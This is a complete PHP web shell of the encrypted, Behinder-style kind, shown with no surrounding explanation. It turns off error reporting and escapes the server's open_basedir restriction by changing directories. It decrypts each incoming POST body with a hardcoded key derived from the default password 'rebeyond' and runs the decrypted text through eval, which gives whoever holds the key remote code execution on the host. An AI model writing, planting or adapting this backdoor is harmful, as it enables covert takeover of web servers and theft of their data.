<?php
@error_reporting(0);
session_start();

function bypass_open_basedir(){
        if(!file_exists('bypass_open_basedir')){
                mkdir('bypass_open_basedir');
        }
        chdir('bypass_open_basedir');
        @ini_set('open_basedir','..');
        @$_Ei34Ww_sQDfq_FILENAME = dirname($_SERVER['SCRIPT_FILENAME']);
        @$_Ei34Ww_sQDfq_path = str_replace("\\",'/',$_Ei34Ww_sQDfq_FILENAME);
        @$_Ei34Ww_sQDfq_num = substr_count($_Ei34Ww_sQDfq_path,'/') + 1;
        $_Ei34Ww_sQDfq_i = 0;
        while($_Ei34Ww_sQDfq_i < $_Ei34Ww_sQDfq_num){
                @chdir('..');
                $_Ei34Ww_sQDfq_i++;
        }
        @ini_set('open_basedir','/');
        @rmdir($_Ei34Ww_sQDfq_FILENAME.'/'.'bypass_open_basedir');
}
bypass_open_basedir();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>